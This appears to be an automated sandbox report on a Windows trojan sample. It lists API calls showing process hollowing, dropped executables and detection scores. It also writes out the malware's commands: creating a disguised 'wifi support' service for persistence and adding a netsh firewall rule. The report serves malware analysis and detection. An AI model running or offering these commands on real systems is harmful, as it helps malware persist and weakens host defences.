Source: CA61.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CA61.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tiftjuh.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tiftjuh.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tiftjuh.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vodibdaj.exe.30.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vodibdaj.exe.30.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vodibdaj.exe.30.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vodibdaj.exe.30.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowscoredeviceinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Section loaded: mscorjit.dll

Source: emPJndhuvA.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Windows\System32\svchost.exe

File deleted: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\IdentityCRL\production\tmpconfig.xml

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: String function: 00404944 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: String function: 004048D0 appears 460 times
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: String function: 00404BF4 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\952.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\952.exe	Code function: String function: 00402544 appears 53 times

Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00530110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	0_2_00530110
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_00401962 Sleep,NtTerminateProcess,	1_2_00401962
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_0040196D Sleep,NtTerminateProcess,	1_2_0040196D
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_00402000
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_2_0040250A
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_00401A0B NtTerminateProcess,	1_2_00401A0B
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201A
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201E
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040202D
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_00402084 LocalAlloc,NtQuerySystemInformation,	1_2_00402084
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_00402491 NtOpenKey,	1_2_00402491
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_00402000
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_1_0040250A
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201A
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201E
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040202D
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_1_00402084 LocalAlloc,NtQuerySystemInformation,	1_1_00402084
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_1_00402491 NtOpenKey,	1_1_00402491
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 20_2_00460110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	20_2_00460110
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_00401962 Sleep,NtTerminateProcess,	21_2_00401962
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_0040196D Sleep,NtTerminateProcess,	21_2_0040196D
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	21_2_00402000
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	21_2_0040250A
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_00401A0B NtTerminateProcess,	21_2_00401A0B
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	21_2_0040201A
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	21_2_0040201E
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	21_2_0040202D
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_00402084 LocalAlloc,NtQuerySystemInformation,	21_2_00402084
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_00402491 NtOpenKey,	21_2_00402491
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00460110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	25_2_00460110
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_00401962 Sleep,NtTerminateProcess,	28_2_00401962
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_0040196D Sleep,NtTerminateProcess,	28_2_0040196D
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	28_2_00402000
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	28_2_0040250A
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_00401A0B NtTerminateProcess,	28_2_00401A0B
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	28_2_0040201A
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	28_2_0040201E
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	28_2_0040202D
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_00402084 LocalAlloc,NtQuerySystemInformation,	28_2_00402084
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_00402491 NtOpenKey,	28_2_00402491

Source: C:\Users\user\AppData\Local\Temp\952.exe

Code function: 30_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

30_2_00408E26

Source: emPJndhuvA.exe	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 45F8.exe.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 2819.exe.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 3D67.exe.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: FD2B.exe.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 952.exe.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: CA61.exe.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: tiftjuh.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: vodibdaj.exe.30.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: 9054.exe.3.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: B1F6.exe.3.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: 6B74.exe.3.dr	Static PE information: Section: .rsrc ZLIB complexity 0.996205570134
Source: 7E61.exe.3.dr	Static PE information: Section: .rsrc ZLIB complexity 0.996201842796
Source: 9054.exe.3.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 9054.exe.3.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: B1F6.exe.3.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: B1F6.exe.3.dr	Static PE information: Section: ZLIB complexity 1.00537109375

Source: emPJndhuvA.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\tiftjuh

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@61/41@91/14

Source: C:\Users\user\AppData\Local\Temp\952.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\952.exe

Code function: 30_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

30_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\952.exe

30_2_00409A6B

Source: emPJndhuvA.exe	Virustotal: Detection: 40%
Source: emPJndhuvA.exe	ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\emPJndhuvA.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\emPJndhuvA.exe "C:\Users\user\Desktop\emPJndhuvA.exe"
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Process created: C:\Users\user\Desktop\emPJndhuvA.exe "C:\Users\user\Desktop\emPJndhuvA.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\tiftjuh C:\Users\user\AppData\Roaming\tiftjuh
Source: C:\Users\user\AppData\Roaming\tiftjuh	Process created: C:\Users\user\AppData\Roaming\tiftjuh C:\Users\user\AppData\Roaming\tiftjuh
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2819.exe C:\Users\user\AppData\Local\Temp\2819.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3D67.exe C:\Users\user\AppData\Local\Temp\3D67.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3104 -ip 3104
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3104 -s 540
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Process created: C:\Users\user\AppData\Local\Temp\3D67.exe C:\Users\user\AppData\Local\Temp\3D67.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\FD2B.exe C:\Users\user\AppData\Local\Temp\FD2B.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\952.exe C:\Users\user\AppData\Local\Temp\952.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\13E2.exe C:\Users\user\AppData\Local\Temp\13E2.exe
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bhlprady\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\vodibdaj.exe" C:\Windows\SysWOW64\bhlprady\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create bhlprady binPath= "C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d\"C:\Users\user\AppData\Local\Temp\952.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description bhlprady "wifi internet conection
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start bhlprady
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Source: unknown	Process created: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d"C:\Users\user\AppData\Local\Temp\952.exe"
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process created: C:\Users\user\AppData\Local\Temp\13E2.exe C:\Users\user\AppData\Local\Temp\13E2.exe
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Process created: C:\Users\user\Desktop\emPJndhuvA.exe "C:\Users\user\Desktop\emPJndhuvA.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2819.exe C:\Users\user\AppData\Local\Temp\2819.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3D67.exe C:\Users\user\AppData\Local\Temp\3D67.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\FD2B.exe C:\Users\user\AppData\Local\Temp\FD2B.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\952.exe C:\Users\user\AppData\Local\Temp\952.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\13E2.exe C:\Users\user\AppData\Local\Temp\13E2.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Process created: C:\Users\user\AppData\Roaming\tiftjuh C:\Users\user\AppData\Roaming\tiftjuh	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3104 -ip 3104	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3104 -s 540	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Process created: C:\Users\user\AppData\Local\Temp\3D67.exe C:\Users\user\AppData\Local\Temp\3D67.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bhlprady\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\vodibdaj.exe" C:\Windows\SysWOW64\bhlprady\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create bhlprady binPath= "C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d\"C:\Users\user\AppData\Local\Temp\952.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description bhlprady "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start bhlprady	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process created: C:\Users\user\AppData\Local\Temp\13E2.exe C:\Users\user\AppData\Local\Temp\13E2.exe
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\2819.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\952.exe

Code function: 30_2_00406A60 lstrcatA,CreateFileA,GetDiskFreeSpaceA,GetLastError,CloseHandle,CloseHandle,FindCloseChangeNotification,GetLastError,CloseHandle,DeleteFileA,GetLastError,

30_2_00406A60

Source: C:\Users\user\AppData\Local\Temp\13E2.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:5736:64:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6260:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6436:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6384:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6168:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3104
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6332:120:WilError_01

Source: 13E2.exe.3.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 13E2.exe.3.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 32.0.13E2.exe.c80000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 32.0.13E2.exe.c80000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 32.0.13E2.exe.c80000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 32.0.13E2.exe.c80000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 32.2.13E2.exe.c80000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 32.2.13E2.exe.c80000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 32.0.13E2.exe.c80000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 32.0.13E2.exe.c80000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 32.0.13E2.exe.c80000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 32.0.13E2.exe.c80000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\2819.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: emPJndhuvA.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: profapi.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 2819.exe, 00000016.00000000.348562532.0000000000413000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.361993606.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 0000001B.00000002.426093244.0000000005790000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000001B.00000003.370138407.00000000035D5000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.370897133.00000000035D5000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.369939315.00000000035D5000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.369869588.0000000005387000.00000004.00000001.sdmp
Source:	Binary string: C:\tececa\sidexivuheje-vewa\xilo.pdb source: FD2B.exe, 0000001D.00000000.369230525.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb, source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000001B.00000003.370128323.00000000035CF000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.371827770.00000000035CF000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
